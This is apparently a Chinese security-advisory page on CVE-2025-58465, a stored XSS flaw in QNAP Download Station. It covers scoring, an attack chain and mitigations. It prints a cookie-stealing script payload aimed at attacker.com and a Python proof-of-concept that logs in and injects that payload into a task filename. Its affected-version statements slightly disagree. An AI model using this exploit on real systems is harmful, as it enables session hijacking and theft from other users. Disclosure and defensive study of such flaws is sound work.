IPBUF安全漏洞报告
English
CVE-2025-58465 CVSS 5.4 中危

CVE-2025-58465 QNAP Download Station XSS跨站脚本漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-58465
漏洞类型
XSS跨站脚本
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
QNAP Download Station

相关标签

CVE-2025-58465XSS跨站脚本QNAPDownload Station存储型XSSNAS设备会话劫持Web应用安全

漏洞概述

CVE-2025-58465是威联通(QNAP)Download Station应用中存在的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞影响Download Station 5.10.0.304及之前版本。漏洞源于应用程序对用户输入内容缺乏充分的输入验证和输出编码,导致攻击者可以在特定功能模块中注入恶意JavaScript脚本。当其他用户访问包含恶意脚本的页面时,攻击代码将在受害者浏览器上下文中执行,从而实现会话劫持、敏感数据窃取或安全机制绕过等恶意操作。攻击前提是攻击者需要拥有一个有效的用户账户,这降低了漏洞的利用门槛。由于Download Station是QNAP NAS设备的核心下载管理组件,广泛部署于企业网络环境中,因此该漏洞可能影响大量使用QNAP存储设备的组织和个人用户。QNAP官方已于2025年9月8日和16日分别发布修复版本,建议相关用户立即升级以消除安全风险。

技术细节

该XSS漏洞存在于Download Station的搜索或文件命名功能中。攻击者首先使用合法账户登录Download Station应用,然后在文件下载任务名称、URL或其他可存储的字段中插入恶意JavaScript代码,如:<script>document.location='https://attacker.com/steal?c='+document.cookie</script>。由于应用程序未对用户输入进行HTML实体编码直接存储在数据库中,当管理员或其他用户通过Web界面查看相关任务列表或日志时,浏览器会将恶意脚本作为合法HTML解析执行。攻击者可利用此漏洞窃取受害者的会话Cookie、模拟用户操作、修改页面内容或重定向用户到钓鱼页面。CVSS 3.1评分5.4(AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)表明该漏洞可通过网络利用,需要低权限账户和用户交互才能成功利用,对机密性和完整性造成低影响。攻击者利用获取的会话可进一步横向移动或提升权限。

攻击链分析

STEP 1
步骤1
攻击者获取QNAP Download Station有效用户账户
STEP 2
步骤2
攻击者构造含恶意JavaScript代码的下载任务(如任务名称或URL参数中注入XSS payload)
STEP 3
步骤3
应用程序未进行输入验证和输出编码,直接将恶意脚本存储在数据库中
STEP 4
步骤4
受害者(管理员或其他用户)访问Download Station Web界面查看任务列表或日志
STEP 5
步骤5
浏览器解析页面时执行存储的恶意脚本,窃取会话Cookie或执行其他恶意操作
STEP 6
步骤6
攻击者利用窃取的会话冒充受害者身份,进一步窃取数据或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
'''CVE-2025-58465 XSS PoC for QNAP Download Station Usage: Replace TARGET_IP with actual NAS IP and run script ''' import requests from urllib.parse import quote # Configuration TARGET_IP = "192.168.1.100" USERNAME = "attacker_account" PASSWORD = "attacker_password" # XSS payload - steals session cookie XSS_PAYLOAD = "<script>fetch('https://attacker.com/log?c='+encodeURIComponent(document.cookie))</script>" def exploit_cve_2025_58465(): """Exploit stored XSS in Download Station""" # Step 1: Login to get session session = requests.Session() login_url = f"https://{TARGET_IP}/cgi-bin/authLogin.cgi" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data, verify=False) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Create download task with XSS payload add_task_url = f"https://{TARGET_IP}/downloadstation/task.cgi" task_data = { "method": "add", "url": "http://example.com/test.txt", "filename": XSS_PAYLOAD # XSS in filename field } response = session.post(add_task_url, data=task_data, verify=False) if response.status_code == 200: print("[+] Malicious task created - XSS payload injected") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] When admin views task list, cookie will be exfiltrated") return True print("[-] Failed to create task") return False if __name__ == "__main__": exploit_cve_2025_58465()

影响范围

QNAP Download Station < 5.10.0.304 (2025/09/08之前版本)
QNAP Download Station < 5.10.0.305 (2025/09/16之前版本)

防御指南

临时缓解措施
如无法立即升级,可采取以下临时措施:1) 临时禁用Download Station的Web访问功能;2) 限制只有受信任的IP地址才能访问NAS管理界面;3) 启用NAS的双因素认证增强账户安全;4) 监控日志中的异常请求模式;5) 提醒用户不要点击来历不明的下载链接。但最有效的防护措施仍是尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表